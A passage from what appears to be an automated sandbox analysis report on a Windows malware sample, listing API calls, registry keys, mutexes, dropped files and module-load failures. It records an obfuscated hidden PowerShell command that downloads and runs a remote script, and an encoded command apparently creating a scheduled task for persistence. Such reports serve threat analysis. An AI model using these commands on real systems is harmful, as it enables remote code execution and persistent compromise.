"00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "LoadLibrary"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000000.177629.05D79000.00000004.mdmp, 00000000-00002592.00000000.177629.06000000.00000004.mdmp, 00000000-00002592.00000000.177629.07750000.00000004.mdmp, 00000000-00002592.00000001.179550.08C80000.00000004.mdmp, 00000000-00002592.00000002.181470.05EB0000.00000004.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp") Found reference to API (Indicator: "gethostname"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002592.00000000.177629.05D79000.00000004.mdmp, 00000000-00002592.00000000.177629.06000000.00000004.mdmp, 00000000-00002592.00000000.177629.07750000.00000004.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.08C80000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.05EB0000.00000004.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "GetObject"; Source: "00000000-00002592.00000000.177629.05D79000.00000004.mdmp, 00000000-00002592.00000000.177629.06000000.00000004.mdmp, 00000000-00002592.00000000.177629.07750000.00000004.mdmp, 00000000-00002592.00000002.181470.05EB0000.00000004.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000001.179550.08C80000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp")39:T1e3f,"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 63877-149-00EED560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 63877-182-00EE8190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 63877-182-00EE8190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 63877-182-00EE8190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 63877-184-00EEBFA2 "SOFTWARE\Microsoft\PowerShell" in Source: 63877-195-00EE8AF0 "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*" in Source: 00000000-00002592-00000C2D-38014674209 "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "Software\Microsoft\.NETFramework" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.Servic" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "y\Machine\Software\Classes\C}" in Source: 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.10.3.37!7" in Source: 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.10.3.42!7" in Source: 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp "e\Software\C" in Source: 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp "Registry\Machine\Software\Classes\Applications\python.exe" in Source: 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001\fdeploy" in Source: 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp "y\Machine\Software\Classes\DelegateFolders" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "\Registry\Machine\Software\C" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{7" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW64" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4K" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00002592.00000000.177629.03360000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002592.00000000.177629.03BB0000.00000004.mdmp3a:T98c,Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5396:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5396:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile" Process powershell.exe created mutex with name "Local\SM0:5396:304:WilStaging_02" Process powershell.exe created mutex with name "Global\RasPbFile" Process powershell.exe created mutex with name "SM0:5396:120:WilError_01" Process powershell.exe created mutex with name "SM0:5396:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5396:304:WilStaging_02" Process sys_installer_27525.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1352:304:WilStaging_02" Process sys_installer_27525.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1352:304:WilStaging_02" Process sys_installer_27525.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1352:120:WilError_01" Process sys_installer_27525.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile" Process sys_installer_27525.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process sys_installer_27525.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1352:120:WilError_01" Process sys_installer_27525.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process sys_installer_27525.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process sys_installer_27525.exe created mutex with name "Local\SM0:1352:304:WilStaging_02" Process sys_installer_27525.exe created mutex with name "Local\SM0:1352:120:WilError_01" Process sys_installer_27525.exe created mutex with name "Local\ZonesCacheCounterMutex" Process sys_installer_27525.exe created mutex with name "SM0:1352:304:WilStaging_02" Process sys_installer_27525.exe created mutex with name "SM0:1352:120:WilError_01" Process sys_installer_27525.exe created mutex with name "Global\RasPbFile" Process sys_installer_27525.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process python.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process python.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4796:64:WilError_01"3b:T830,Antivirus vendors marked dropped file "python311.dll" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"), Antivirus vendors marked dropped file "libcrypto-3.dll" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"), Antivirus vendors marked dropped file "sqlite3.dll" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"), Antivirus vendors marked dropped file "libssl-3.dll" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"), Antivirus vendors marked dropped file "7z_encrypted.bin" as clean (type is "Unknown"), Antivirus vendors marked dropped file "UserCache.bin" as clean (type is "Unknown"), Antivirus vendors marked dropped file "py.exe" as clean (type is "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"), Antivirus vendors marked dropped file "vcruntime140.dll" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"), Antivirus vendors marked dropped file "python3.dll" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 2 sections"), Antivirus vendors marked dropped file "libffi-8.dll" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 4 sections"), Antivirus vendors marked dropped file "s.cmd" as clean (type is "Unknown"), Antivirus vendors marked dropped file "run.vbs" as clean (type is "Unknown"), Antivirus vendors marked dropped file "unicodedata.pyd" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"), Antivirus vendors marked dropped file "Mango.pdf" as clean (type is "PDF document version 1.4 4 page(s)"), Antivirus vendors marked dropped file "_decimal.pyd" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"), Antivirus vendors marked dropped file "pyexpat.pyd" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"), Antivirus vendors marked dropped file "_ssl.pyd" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections")3c:T60e,Process "powershell.exe" with commandline "-w hidden -c "$x='7ttps://r4w.8it7u9userc0ntent.c0m/tiiisiet65-sud0/L0i0i0N04isK/m4in/D0wnl04d-m4cOSx.cmd'.Replace('7','h').Replace('4','a').Replace('8','g').Replace('9','b').Replace('0','o');iwr $x -o $env:TEMP\\s.cmd;& $env:TEMP\\s.cmd"" (UID: 00000000-00005396) Process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBkAHIAaQB2AGUAcgBzAC4AZQB4AGUAJwAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAQwA6AFwAVQBzAGUAcgBzAFwASABBAFAAVQBCAFcAUwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAZAByAGkAdgBlAHIAcwAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=" (UID: 00000000-00005792)3d:T2b59,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\comctl32.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module 